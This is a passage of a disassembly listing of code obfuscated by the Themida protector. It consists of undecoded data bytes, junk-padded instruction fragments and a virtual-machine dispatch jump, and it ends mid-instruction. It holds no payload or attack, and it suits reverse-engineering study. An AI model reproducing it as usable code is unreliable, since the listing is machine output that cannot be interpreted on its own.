0F419E9F8h, 0E95DFFFEh, 0FFFF2786h dd 0EA92E95Eh, 348BFFFFh, 4C48124h, 68000000h, 4933h, 0FEF726E9h dd 240481FFh, 4, 0FF884EE9h, 0F1295BFFh, 240C875Eh, 242C895Ch dd 2BDh, 4B22E900h, 8957FFFFh, 4C781E7h, 83000000h, 348904ECh dd 74A06824h, 14890000h, 0C4DBA24h, 0D2F72C3Bh, 25D1C281h dd 93E94165h, 0BDFFFEE9h, 4, 335DEB29h, 0BFE9241Ch, 1FFFF7Dh dd 5D08246Ch, 6AD5BE56h, 742969D9h, 0E95E0824h, 0FFFF0D70h dd 0E188D488h, 0FF06FCE9h, 240481FFh, 4, 0FF386CE9h, 4C381FFh dd 83000000h, 0B9E902C3h, 80FFFF46h, 0B7E9D6C2h, 1FFFFBCh dd 242C8BEEh, 5704C483h, 1BFh, 5FFE2900h, 178D68h, 240C8900h dd 820033B9h, 2E1C15Fh, 8E8BF181h, 0CE31A8D0h, 0E92434FFh dd 0FFFEFDABh ; --------------------------------------------------------------------------- loc_557294: ; CODE XREF: Themida_:loc_544F4Fj ; Themida_:005473DBj push edx mov edx, esp add edx, 4 jmp loc_5582DB ; --------------------------------------------------------------------------- loc_5572A2: ; CODE XREF: Themida_:005477C1j xchg ebp, [esp] pop esp push esi push 4413260Ah pop esi jmp loc_544032 ; --------------------------------------------------------------------------- dw 0B8B2h dd 80DEEA80h, 0D43013F2h, 0FFE1005Ah, 83582434h, 0C83004C4h dd 0FFB3AAE9h, 0E9FE29FFh, 0FFFEE7B2h, 922D4EBAh, 0C1D2F70Dh dd 0CEE906E2h, 81FFFF8Ch, 6DC17CE9h, 59CB01E1h, 2B850h dd 0C3010000h, 241C3358h, 0FFD0EBE9h db 0FFh ; --------------------------------------------------------------------------- loc_5572FD: ; CODE XREF: Themida_:0054796Dj mov [esp], edi push esi jmp loc_54C9B7 ; --------------------------------------------------------------------------- loc_557306: ; CODE XREF: Themida_:00550410j pop esp xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] push 40A9h jmp loc_554816 ; --------------------------------------------------------------------------- db 5Ah, 83h, 0C4h dd 0BF75E904h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_557326: ; CODE XREF: Themida_:00551E6Aj mov edx, [esp] add esp, 4 and edi, 0CC83D59h xor edi, 43B12A25h add ecx, 4A5075EBh add ecx, edi sub ecx, 4A5075EBh mov edi, [esp] add esp, 4 add ecx, edi sub ecx, 43B12F34h push eax mov eax, 0 add eax, ecx add dword ptr [eax], 1 pop eax mov ecx, [esp] add esp, 4 loc_55736C: ; CODE XREF: Themida_:0055219Aj push 11F6h mov [esp], edx push esp jmp loc_554776 ; --------------------------------------------------------------------------- dw 0F381h dd 250744ECh, 0FF7DECE9h, 1B0768FFh, 4EE90000h, 1FFFF37h dd 0FF5059C8h, 0FF042474h, 81582434h, 4C4h, 24048F00h dd 0FEF387E9h, 3E6C0FFh, 0E6C0C6FEh, 1DE95303h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5573B7: ; CODE XREF: Themida_:00544A94j add esi, edi add esi, 54B00EB9h pop edi add esi, 4 xor esi, [esp] xor [esp], esi xor esi, [esp] mov esp, [esp] add esp, 4 push eax mov eax, 20h push edi push ebx push 36851D2Fh pop ebx jmp loc_549D6C ; --------------------------------------------------------------------------- loc_5573E8: ; CODE XREF: Themida_:00555B68j push esp mov edx, [esp] add esp, 4 add edx, 4 push esi jmp loc_557B5D ; --------------------------------------------------------------------------- db 89h dd 4C681E6h, 0E9000000h, 0FFFF591Ch, 818734FFh, 6B2B2404h dd 48B4B49h, 4C48124h, 52000000h, 777101BAh, 0E407E943h dd 0B22DFFFEh, 0E960876Ch, 0FFFF98B3h ; --------------------------------------------------------------------------- loc_557430: ; CODE XREF: Themida_:00554811j sub ecx, 0EE07CDFh not ecx xchg edi, ecx jmp loc_54B726 ; --------------------------------------------------------------------------- db 1 dd 0E9835AD1h, 240C8704h, 0E924248Bh, 0FFFF400Fh ; --------------------------------------------------------------------------- loc_557450: ; CODE XREF: Themida_:0055785Fj xor esi, 5F2E787Ch jmp loc_5477A3 ; --------------------------------------------------------------------------- db 68h dd 731Bh, 0FF7109E9h, 24248BFFh, 0FF241489h, 0FF042474h dd 34FF2434h, 0C4835A24h, 0BDE95504h, 53FFFF09h, 4BBh dd 7EEE8100h, 1565176h, 0E6F9E9DEh, 0C781FFFFh, 4, 580B68h dd 24048900h, 2B8h, 4EC8300h, 0BD242C89h, 432E5BD5h, 5052CD81h dd 0CD810B41h, 8EE3EBCh, 0F5E5814Dh, 68260318h, 7A0Eh dd 0FFE1F0E9h, 815954FFh, 4C1h, 4C18300h, 8B240C87h, 14682424h dd 89000033h, 1868242Ch, 5D5B2822h, 253E9h, 0F4B95100h dd 816F7A31h, 865321E1h, 25BF5712h, 95D9927h, 243C8BF9h dd 4C481h, 17E90000h, 28FFFFD9h, 2D28E9E8h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55751A: ; CODE XREF: Themida_:0054A2D1j sub al, cl sub al, 52h pop cx jmp loc_543AB8 ; --------------------------------------------------------------------------- loc_557525: ; CODE XREF: Themida_:00544C6Fj pop edi add edi, 4 push ecx mov ecx, 4 add edi, ecx pop ecx xor edi, [esp] xor [esp], edi jmp loc_554485 ; --------------------------------------------------------------------------- aXhx db 'Xhx',0Bh,0 align 2 dw 0A8E9h db 0D2h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55754B: ; CODE XREF: Themida_:005452DBj pop esi neg esi shl esi, 8 push ebp mov ebp, 7BF9301Dh xor ebp, 8406CFE2h add esi, 130D4110h sub esi, ebp jmp loc_5439A1 ; --------------------------------------------------------------------------- dw 0EA81h dd 0BE990D3Eh, 22E9D029h, 8BFFFED5h, 0C4812414h, 4, 0E768C331h dd 0E9000078h, 0FFFFBA98h, 8B241C87h, 3C892424h, 55E78924h dd 0FFA311E9h, 4E883FFh, 5C240487h, 0E9241C89h, 0FFFED709h dd 0F280D2F6h, 2E2C072h, 98E9C2FEh db 67h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5575BB: ; CODE XREF: Themida_:0055674Ej mov ecx, [esp] add esp, 4 add esi, eax pop eax push esi add dword ptr [esp], 63932FEDh pop eax sub eax, 63932FEDh pop esi jmp loc_54EFA4 ; --------------------------------------------------------------------------- loc_5575D8: ; CODE XREF: Themida_:0054A8E8j mov ecx, edi push dword ptr [esp] pop edi push 5E0Eh mov [esp], edi mov edi, esp add edi, 4 jmp loc_54CF79 ; --------------------------------------------------------------------------- db 83h dd 48704C0h, 0EBE95C24h, 52FFFFFBh, 0FF4845E9h, 4BAFFh dd 0D7890000h, 0FF4DCCE9h db 0FFh ; --------------------------------------------------------------------------- loc_557611: ; CODE XREF: Themida_:005510E7j sub dword ptr [esp+4], 760D1D26h add [esp+4], eax add dword ptr [esp+4], 760D1D26h jmp loc_54BFAE ; --------------------------------------------------------------------------- loc_55762A: ; CODE XREF: Themida_:00544884j sub dword ptr [esp], 14FF40C9h mov esi, [esp] add esp, 4 jmp loc_54FAAB ; --------------------------------------------------------------------------- dd 68241489h, 0FEh, 0FF706CE9h db 0FFh ; --------------------------------------------------------------------------- loc_557649: ; CODE XREF: Themida_:00546E66j mov edi, 50F65D20h sub edi, 47EF062Ah jmp loc_54A379 ; --------------------------------------------------------------------------- db 0BBh, 15h, 1Dh dd 2FB81A6Bh, 0E960118Ch, 0FFFFA22Ah dword_557668 dd 28B6664h, 4EC8356h, 57242489h, 0FF6274E9h, 0F5815EFFh ; DATA XREF: Themida_:00543058o dd 5ED1775Ch, 9AE9E801h, 89FFFF82h, 0E955240Ch, 0FFFFD15Fh ; --------------------------------------------------------------------------- loc_557690: ; CODE XREF: Themida_:00552C33j mov ecx, 3FD41095h xor ebp, ecx jmp loc_547B01 ; --------------------------------------------------------------------------- dd 6F852D59h, 0C12D43ECh, 2910E902h, 92E956D0h, 8FFFFF50h dd 0A6E92404h, 0BAFFFFBAh, 4, 2D5AD001h, 4, 8B240487h dd 34892424h, 0A37CE924h, 0C4E9FFFFh db 0BBh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5576D7: ; CODE XREF: Themida_:0054EDD1j xor [esp], eax xor eax, [esp] mov esp, [esp] mov [esp], ebp jmp loc_5446FF ; --------------------------------------------------------------------------- dd 5C240433h, 24040166h, 0BBA5E99Ch, 0DC30FFFEh, 58E1885Bh dd 0FF9955E9h db 0FFh ; --------------------------------------------------------------------------- loc_557701: ; CODE XREF: Themida_:00549BD4j pop edx jmp loc_546F3E ; --------------------------------------------------------------------------- loc_557707: ; CODE XREF: Themida_:0054874Aj xchg ebp, [esp] pop esp sub bl, al push edx mov dh, 0CFh jmp loc_544BF3 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0E4E9E689h, 66FFFF6Ah, 0C581665Ah, 166B673h, 34FF5DE8h dd 8CE95B24h, 53FFFF9Ch, 0FFC0A8E9h, 1ABD55FFh, 0E901BF5Ah dd 0FFFED152h, 68h, 60B8E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55774E: ; CODE XREF: Themida_:0054D2EEj pop edx mov ebx, [esp] add esp, 4 push 77ACh mov [esp], esi sub esp, 4 mov [esp], edx mov edx, 3B94226Ch jmp loc_551FBC ; --------------------------------------------------------------------------- loc_557773: ; CODE XREF: Themida_:0055599Fj mov [esp], ecx push ebx mov ebx, 51273F6Ah xor ebx, 0C093909h jmp loc_5500DF ; --------------------------------------------------------------------------- loc_557787: ; CODE XREF: Themida_:005564D1j add esp, 4 jmp loc_548E9C ; --------------------------------------------------------------------------- loc_557792: ; CODE XREF: Themida_:00547504j mov edx, [esp] add esp, 4 sub ecx, 14040B9Ch add ebx, 6011013h sub ebx, 4A0472F8h add ebx, ecx add ebx, 4A0472F8h sub ebx, 6011013h push dword ptr [esp] pop ecx add esp, 4 add ebx, 4 jmp loc_54EE36 ; --------------------------------------------------------------------------- loc_5577CA: ; CODE XREF: Themida_:0054ABBBj inc ebx xchg esi, ebx jmp loc_552537 ; --------------------------------------------------------------------------- loc_5577D2: ; CODE XREF: Themida_:005579F2j push esi mov esi, 4 push ecx mov ecx, 33095BDEh add eax, ecx pop ecx push ecx mov ecx, 751060D8h not ecx sub ecx, 8360C2Bh sub esp, 4 mov [esp], ebx mov ebx, 34D2607Fh or ecx, ebx pop ebx shl ecx, 4 xor ecx, 2860131Ah jmp loc_54F436 ; --------------------------------------------------------------------------- aS_8 db ']И',27h,8,0 dd 81DBF700h, 0DF290EF3h, 5BD829B5h, 48BC389h, 4C48124h dd 81000000h, 902E48E3h, 13E38114h, 0E942042Ch, 0FFFFBF49h dd 1874EE81h, 0DE0100D8h, 1874C681h, 1C8B00D8h, 4C48124h dd 0E9000000h, 0FFFF066Ah ; --------------------------------------------------------------------------- loc_557854: ; CODE XREF: Themida_:0054A0F9j mov esi, 3CC67B4Eh or esi, 770D6651h jmp loc_557450 ; --------------------------------------------------------------------------- loc_557864: ; CODE XREF: Themida_:0055348Cj pop ebx add bl, 0BBh add bl, dl sub bl, 0BBh jmp loc_558361 ; --------------------------------------------------------------------------- dw 1C8Bh dd 0F299E924h db 0FEh, 0FFh word_55787A dw 34FFh ; DATA XREF: Themida_:00543180o dd 0AA89E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557882: ; CODE XREF: Themida_:0054D186j neg dword ptr [esp] pop ebp sub ebp, 0DF0397D6h jmp loc_553BDB ; --------------------------------------------------------------------------- loc_557891: ; CODE XREF: Themida_:0054D1B7j add esi, 4B3E21E5h sub esi, eax jmp loc_5451BA ; --------------------------------------------------------------------------- dw 0C301h dd 79EC381h, 0EB8146BFh, 281D026Ah, 0FF11ABE9h, 0D3E954FFh dd 0B2FFFFC9h, 7E2C0A8h, 0FFF99AE9h, 243431FFh, 0FFF649E9h dd 7CE668FFh, 0A3E90000h, 81FFFF49h, 0F404246Ch, 0E905604Ah dd 0FFFF437Dh, 0E904C483h, 0FFFFA280h, 4602CD81h, 0ED815E18h dd 6085915h, 0DBECED81h, 0EF29089Bh, 242C8B5Dh, 4C481h dd 0EA810000h, 76D75B97h, 0C281FA01h, 76D75B97h, 2414875Fh dd 24248Bh, 0E99C2404h, 0FFFEB977h, 4EC81h, 0C890000h dd 0C453E924h, 420FFFFh, 60E99C24h db 0B9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_55793B: ; CODE XREF: Themida_:00549E1Cj add esi, 4 xchg esi, [esp] pop esp xchg ecx, [esp] mov esp, [esp] jmp loc_5439AE ; --------------------------------------------------------------------------- db 54h, 0E9h, 0BCh db 0F9h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_557953: ; CODE XREF: Themida_:0054D2E7j add ecx, edx sub ecx, 41670E80h push edi mov edi, 64497E3Fh neg edi xor edi, 533500F6h add edi, 7D8CF789h sub ecx, edi pop edi mov edx, [esp] add esp, 4 push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] mov esp, [esp] push 27BCh mov [esp], esi mov esi, 65353934h jmp loc_5472E5 ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 24048B54h, 4C481h, 0B9510000h, 0BED3594h, 0DB95156h dd 0BE734861h, 0B090CE7Dh, 159CE01h, 0EC815EF1h, 4, 0FF56FEE9h db 0FFh ; --------------------------------------------------------------------------- loc_5579C9: ; CODE XREF: Themida_:00556A42j push dword ptr [edi+eax*4] jmp loc_543332 ; --------------------------------------------------------------------------- loc_5579D1: ; CODE XREF: Themida_:0054BFA9j inc dh dec dh neg dh jmp loc_552FD0 ; --------------------------------------------------------------------------- dd 462BC02Dh, 0E9D80179h, 0FFFF7DF3h ; --------------------------------------------------------------------------- loc_5579E8: ; CODE XREF: Themida_:00550B18j add dword ptr [esp], 4 pop eax add eax, 4 jmp loc_5577D2 ; --------------------------------------------------------------------------- loc_5579F7: ; CODE XREF: Themida_:00554891j add cl, 0FFh sub ah, cl pop ecx sub bl, ah mov eax, [esp] add esp, 4 push ecx mov cl, 13h xor cl, 44h add bl, cl pop ecx sub esp, 4 mov [esp], eax mov al, 0F9h sub bl, al pop eax movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- db 61h db 0C3h byte_557A21 db 8Bh, 0Ch, 24h ; DATA XREF: Themida_:00542FB8o dd 81ECE950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557A2A: ; CODE XREF: Themida_:00553DC1j mov [esp], esp add dword ptr [esp], 4 pop edi sub esp, 4 jmp loc_54CEBE ; --------------------------------------------------------------------------- loc_557A3A: ; CODE XREF: Themida_:00545C57j not ebx dec ebx sub ebx, 0C99FFBA3h and edi, ebx pop ebx push eax push ebx push 53C32F04h pop ebx inc ebx jmp loc_54A8DC ; --------------------------------------------------------------------------- dd 8904EC83h, 0D0682414h, 8900005Bh, 3DBF243Ch, 0F747E74Fh dd 82F781D7h, 815AFD15h, 52090CE7h, 0F8E9504Ah db 0BAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_557A7B: ; CODE XREF: Themida_:00550467j xor eax, 8A46A489h xor edx, eax pop eax shr edx, 5 jmp loc_54D158 ; --------------------------------------------------------------------------- db 50h dd 0FF1A50E9h, 2434FFFFh, 0E689565Dh, 4BD55h, 0EE010000h dd 4C6815Dh, 87000000h, 0E95C2434h, 0FFFF9F07h, 405h, 13FEE900h dd 815AFFFFh, 4C2h, 56E95300h, 81FFFFDAh, 4B852CC1h, 4815146h dd 0A1280924h, 0EF815F30h, 30A12809h, 0E9240C8Bh, 0FFFFE7E8h dd 65913105h, 0C0BE928h, 0EA89FFFFh, 0FFC1FBE9h db 0FFh ; --------------------------------------------------------------------------- loc_557AF5: ; CODE XREF: Themida_:00543516j pop eax pop ecx pop ecx jmp loc_547AE0 ; --------------------------------------------------------------------------- db 54h, 0FFh, 34h dd 0C4835824h, 4BE5604h, 1000000h, 83F4E9F0h, 0BF57FFFFh dd 492C19E1h, 3DB9C181h, 0F9016947h, 3DB9E981h, 34FF6947h dd 0E9565F24h, 0FFFEC526h, 5B4A9EBDh, 0F624E92Dh db 0FEh, 0FFh word_557B3A dw 34FFh ; DATA XREF: Themida_:00543004o dd 2434FF24h, 0FEDC71E9h, 5E089FFh, 4, 4BB53h, 0B0E90000h dd 5AFFFF42h, 0FEFE6EE9h db 0FFh ; --------------------------------------------------------------------------- loc_557B5D: ; CODE XREF: Themida_:005573F6j mov esi, 4 sub edx, esi pop esi xor edx, [esp] xor [esp], edx xor edx, [esp] pop esp mov [esp], eax push esp pop eax push 5F31h mov [esp], edx push ecx jmp loc_54EBCE ; --------------------------------------------------------------------------- loc_557B82: ; CODE XREF: Themida_:00544B0Cj push eax sub esp, 4 mov [esp], esp add dword ptr [esp], 4 jmp loc_548D92 ; --------------------------------------------------------------------------- loc_557B95: ; CODE XREF: Themida_:00548E07j shr eax, 5 jmp loc_556E25 ; --------------------------------------------------------------------------- db 81h, 0C9h, 46h dd 4952F530h, 0B07BE981h, 0C8019A49h, 1B70E959h, 0EAB4FFFFh dd 0F58E300h, 8B66C0B6h, 0BF682414h, 89000018h, 0E954243Ch dd 0FFFECE31h, 2B9h, 8BC80100h, 8953240Ch, 360E9E3h, 0C481FFFFh dd 4, 4BFFBB53h, 19E917CEh, 5DFFFF92h, 470F181h, 0E9811629h dd 0E4343125h, 159CD29h, 4EC81FDh, 89000000h, 39E9240Ch dd 1FFFFDDh, 5E042474h, 8124348Bh, 4C4h, 4C68100h, 53000000h dd 0DE34E952h, 0CE81FFFFh, 3EC2559Dh, 0FF1449E9h db 0FFh ; --------------------------------------------------------------------------- loc_557C35: ; CODE XREF: Themida_:0054986Dj mov esi, 0CC9C3A9h sub edi, esi pop esi add edx, edi pop edi add edx, 2 xchg edx, [esp] mov esp, [esp] imul cl movzx cx, ah push ebx push esp push dword ptr [esp] pop ebx add esp, 4 push ebp jmp loc_549FFE ; --------------------------------------------------------------------------- db 5Ah, 81h, 2Ch dd 5D77D424h, 2404014Dh, 0FF18EFE9h db 0FFh ; --------------------------------------------------------------------------- loc_557C71: ; CODE XREF: Themida_:005438A5j push 44882C5Bh jmp loc_54A284 ; --------------------------------------------------------------------------- byte_557C7B db 0ACh ; DATA XREF: Themida_:00543120o dd 4EC81h, 14890000h, 0C0B5B624h, 0F68005EEh, 283E2CA7h dd 5A3E04F0h, 0F9E9512Ch, 50FFFFE0h, 0BD55E089h, 5990628Dh dd 55D5F74Dh, 835F5D57h, 0D1E901EFh db 0F3h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_557CB3: ; CODE XREF: Themida_:005508F9j mov ecx, 5A9243E6h shr ecx, 4 inc ecx add ecx, 0B1BE8C00h add edx, ecx pop ecx mov ebx, edx jmp loc_551ACB ; --------------------------------------------------------------------------- dd 81241C8Bh, 4C4h, 8FD1E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557CDA: ; CODE XREF: Themida_:0054F15Fj pop ebx pop dword ptr [esp] pop esp mov [esp], ecx push 7DAFh mov [esp], edx push ax jmp loc_54B1EE ; --------------------------------------------------------------------------- loc_557CF1: ; CODE XREF: Themida_:0054A3C6j xchg eax, ecx not eax xchg eax, ecx add ecx, 234BC46Eh sub edx, ecx jmp loc_5583C9 ; --------------------------------------------------------------------------- dw 0F3B8h dd 29713F69h, 0ED8158C5h, 8AD61107h, 5E5DEB29h, 0FEC37DE9h dd 97C581FFh, 0E94EED96h, 0FFFEEE1Fh, 67B9685Ah, 4890000h dd 591FB824h, 0C6316FC5h, 0FF6B9FE9h db 0FFh ; --------------------------------------------------------------------------- loc_557D39: ; CODE XREF: Themida_:00552A36j mov ecx, 3B7831E9h jmp loc_547BFE ; --------------------------------------------------------------------------- db 53h dd 0D800E1B3h, 2CD0285Bh, 5B665AE1h, 50E38953h, 0FF41C3E9h db 0FFh ; --------------------------------------------------------------------------- loc_557D59: ; CODE XREF: Themida_:005582E1j sub edx, esi pop esi xchg edx, [esp] pop esp jmp loc_557EC8 ; --------------------------------------------------------------------------- loc_557D65: ; CODE XREF: Themida_:0054ADE2j xor [esp], edi push dword ptr [esp] mov eax, [esp] jmp loc_54F7A0 ; --------------------------------------------------------------------------- loc_557D73: ; CODE XREF: Themida_:00545787j add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebp mov ebp, 20107B7Bh push 228Bh mov [esp], eax mov eax, 0DEA3CF9h and eax, 65DC5403h inc eax or eax, 5EEC0DA4h jmp loc_5497A3 ; --------------------------------------------------------------------------- loc_557DA8: ; CODE XREF: Themida_:0054CECBj mov [esp], eax mov eax, 5452773Fh or esi, eax mov eax, [esp] push ecx mov ecx, esp jmp loc_54B133 ; --------------------------------------------------------------------------- db 89h, 34h, 24h dd 0C681E689h, 4, 4BF57h, 0FE290000h, 0FF87C6E9h, 8EECBBFFh dd 0C3015729h, 154B958h, 0C181B10Fh, 54F71903h, 0FFCC52E9h dd 2B30BBFFh, 0DF01AF41h, 0B951475Bh, 78CA40AAh, 5059CF31h dd 0D55E98B8h, 40D8F76Bh, 0FF047B0Dh, 3F06354Ah, 0C935502Fh dd 5342450Fh, 9B3124BBh, 67B5E937h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E22: ; CODE XREF: Themida_:00547630j sub esp, 4 mov [esp], ebx push esp pop ebx push edi mov edi, 0FCA6AB4h jmp loc_54F6D2 ; --------------------------------------------------------------------------- db 81h, 0C1h, 44h dd 8149AA29h, 71692BF1h, 59CD0164h, 0FFB60FE9h, 58C581FFh dd 0F77CAC55h, 0A671E9D5h, 0F934FFFFh, 8852102Ch, 8BD388C2h dd 0C4832414h, 48B6604h, 2C48124h, 30000000h, 1C8B66D8h dd 0E1895124h, 4C181h, 0C1810000h, 2, 5C240C87h, 3930E953h dd 815EFFFFh, 2E9h, 240C3300h, 33240C31h, 248B240Ch, 14896624h dd 9C506624h, 0FEB3EEE9h db 0FFh ; --------------------------------------------------------------------------- loc_557EAD: ; CODE XREF: Themida_:0054CEEEj mov ecx, esp push esi jmp loc_54B745 ; --------------------------------------------------------------------------- loc_557EB5: ; CODE XREF: Themida_:00555EB2j mov esp, [esp] mov [esp], cx movzx cx, al push cx pushf jmp loc_54329B ; --------------------------------------------------------------------------- loc_557EC8: ; CODE XREF: Themida_:00557D60j mov [esp], edx sub esp, 4 jmp loc_5519DF ; --------------------------------------------------------------------------- loc_557ED6: ; CODE XREF: Themida_:00554B8Ej pop edi push 202h mov [esp], eax mov eax, 1EF043C3h sub edx, eax mov eax, [esp] add esp, 4 sub edx, ecx add edx, 1EF043C3h push 56C5h mov [esp], ecx mov ecx, 230015E3h add edx, 10160A4Ch sub edx, 10B6EFAh add edx, 407B4850h sub edx, ecx jmp loc_5436DC ; --------------------------------------------------------------------------- loc_557F1A: ; CODE XREF: Themida_:005496F9j not edi xchg edi, edx jmp loc_54AB68 ; --------------------------------------------------------------------------- byte_557F23 db 83h ; DATA XREF: Themida_:005430B0o dd 6AE904ECh, 50FFFEBCh, 88CE8852h, 0C6885AF0h, 0C6E95958h dd 4FFFED3h, 0E95A66A5h, 0FFFECFCFh, 89241489h, 4C281E2h dd 0E9000000h, 0FFFFE868h, 57240C89h, 8A8098BFh, 5FF9890Ah dd 5195ED81h, 0CD294B6Ch, 5195C581h, 0E9594B6Ch, 0FFFF8393h dd 9F162A05h, 4EE811Bh, 0E96B2B28h, 0FFFF82E1h ; --------------------------------------------------------------------------- loc_557F84: ; CODE XREF: Themida_:00544E67j push 1F8h mov [esp], edi push dword ptr [esp+4] push dword ptr [esp] mov edi, [esp] add esp, 4 push esi push esp pop esi add esi, 4 add esi, 4 jmp loc_5513D9 ; --------------------------------------------------------------------------- dw 5246h dd 0C408E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557FB2: ; CODE XREF: Themida_:00543C10j add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edx mov edx, 4 sub esi, 6AA304E4h jmp loc_5521C2 ; --------------------------------------------------------------------------- dd 3122C181h, 515F0644h, 42474FFh, 24048F59h, 8924248Bh dd 0E2892414h, 4BE56h, 93E90000h, 81FFFF4Dh, 7D281CEBh dd 416E961h, 433FFFFh, 8BB1E924h, 0E95BFFFFh, 0FFFEEAB9h dd 0E9240C89h, 0FFFFC44Ch, 4C581h, 0ED830000h, 242C3304h dd 0E9242C31h, 0FFFF7F6Ah ; --------------------------------------------------------------------------- loc_558028: ; CODE XREF: Themida_:0054AA1Dj add esp, 4 push 3C6Fh mov [esp], ebx jmp loc_55013A ; --------------------------------------------------------------------------- dd 4EDBC681h, 0FE012EA7h, 4EDBB951h, 0CE292EA7h, 83240C8Bh dd 0C68104C4h, 7BB5445Dh, 0FED877E9h db 0FFh ; --------------------------------------------------------------------------- loc_558059: ; CODE XREF: Themida_:00543541j mov ecx, esp jmp loc_5546FE ; --------------------------------------------------------------------------- loc_558060: ; CODE XREF: Themida_:0054FB7Cj add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp jmp loc_552169 ; --------------------------------------------------------------------------- dw 5DBDh dd 0E929051Eh, 0FFFED811h ; --------------------------------------------------------------------------- loc_55807C: ; CODE XREF: Themida_:00555E48j pop esp mov [esp], ebp jmp loc_550330 ; --------------------------------------------------------------------------- db 81h, 0C1h, 0FFh dd 0C1FFFFFFh, 17E907E1h, 5DFFFEE4h, 0FEE247E9h, 4EC83FFh dd 0B3241C89h, 5BD88859h, 0FFAEFDE9h, 4C083FFh, 5C240487h dd 0FF8102E9h db 0FFh ; --------------------------------------------------------------------------- loc_5580B5: ; CODE XREF: Themida_:0054FA3Dj add edx, 4 add edx, 4 xor edx, [esp] jmp loc_543D8D ; --------------------------------------------------------------------------- byte_5580C9 db 0ADh, 0E9h, 7 ; DATA XREF: Themida_:005430D8o dd 81FFFF3Dh, 97925AF1h, 59C8310Bh, 686AEA81h, 0C28159F8h dd 6DD17969h, 0BDE9C201h db 81h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5580EB: ; CODE XREF: Themida_:0054CEB9j sub edi, 760FCE5Bh mov eax, edi jmp loc_548BD1 ; --------------------------------------------------------------------------- dd 0E089505Eh, 405h, 0C3B95100h, 49140917h, 394FE981h dd 0B5E96CE3h db 0DCh, 2 dup(0FFh) byte_558113 db 66h ; DATA XREF: Themida_:00543090o dd 56240C8Bh, 4A5B68h, 48F5400h, 24048324h, 24348B04h dd 0FFE0C7E9h, 242C81FFh, 35C16039h, 81240401h, 60392404h dd 2C8135C1h, 6455A224h, 7E3E6809h, 2C890000h, 2B23BD24h dd 6C296310h, 815D0424h, 463B242Ch, 48E94AB5h, 0FFFFFEBAh dd 815F2434h, 4C4h, 24048F00h, 8B5F5557h, 0EC83242Ch, 240C8904h dd 240C8B54h, 0FFFA59E9h db 0FFh ; --------------------------------------------------------------------------- loc_558185: ; CODE XREF: Themida_:0054EDC4j add edx, 1 shl edx, 6 jmp loc_5474FC ; --------------------------------------------------------------------------- db 81h dd 4C3h, 0D452E900h, 0C781FFFEh, 4122583h, 2C1AC781h, 0EF8164D3h dd 223E4601h, 8324048Bh, 0B60F04C4h, 8734FFC0h, 8904EC83h dd 4CBB241Ch, 4B713971h, 4DFBCB81h, 0F3812CC2h, 36C8471Ch dd 23AF6851h, 2C890000h, 0B4DCE924h db 0FEh, 0FFh word_5581E2 dw 8B66h ; DATA XREF: Themida_:0054319Co dd 9E9240Ch db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5581EB: ; CODE XREF: Themida_:005539A5j pop eax add ecx, 0B0CC61CDh jmp loc_551BAF ; --------------------------------------------------------------------------- aFysYaZ db 'fYS╥Y─гZ',0 dd 0F66CE9F8h, 0C483FFFFh, 24348704h, 2434FF5Ch, 8124148Bh dd 4C4h, 0DCE900h, 16B3FFFFh, 0DA0027B2h, 66D0285Bh, 8B045Ah dd 688B2CD8h, 3E83h, 50240C89h, 0D4F6A3B4h, 887BC480h dd 24048BE1h, 0FF20C5E9h, 665266FFh, 665300BAh, 5A66D701h dd 0FF13AAE9h db 0FFh ; --------------------------------------------------------------------------- loc_558259: ; CODE XREF: Themida_:0054B871j mov esi, 5F686DE8h add eax, esi pop esi pop edx or eax, eax jnz loc_548325 push ecx mov ecx, esp add ecx, 4 jmp loc_556EFD ; --------------------------------------------------------------------------- dd 205h, 8285E900h, 5DBAFFFFh, 0C13BE55Ch, 834207EAh, 0D2F701EAh dd 0FF3639E9h, 2FF181FFh, 215C5970h, 0E94F59CFh, 0FFFF00E8h ; --------------------------------------------------------------------------- loc_5582A4: ; CODE XREF: Themida_:00545A28j pop edi xchg ebp, [esp] mov esp, [esp] and eax, ecx pop ecx jmp loc_551281 ; --------------------------------------------------------------------------- db 1 dd 0EC28E9E9h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5582BA: ; CODE XREF: Themida_:0054E663j pop ebx sub esi, edi jmp loc_55392C ; --------------------------------------------------------------------------- loc_5582C2: ; CODE XREF: Themida_:00552A52j sub ebx, edi sub ebx, 20457037h pop edi xchg ebx, [esp] pop esp jmp loc_54B61F ; --------------------------------------------------------------------------- dd 0CEE95958h db 0DAh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5582DB: ; CODE XREF: Themida_:0055729Dj push esi mov esi, 4 jmp loc_557D59 ; --------------------------------------------------------------------------- dw 895Ch dd 4BD242Ch, 1000000h, 242C8BE9h, 4C481h, 0BB530000h, 4 dd 875BD901h, 248B240Ch, 0C8BF0F24h, 1C3868h, 24348900h dd 0C681E689h, 4, 57968h, 240C8900h, 0BE56E189h, 4, 0FF8748E9h db 0FFh ; --------------------------------------------------------------------------- loc_558331: ; CODE XREF: Themida_:00550730j mov ebx, esp add 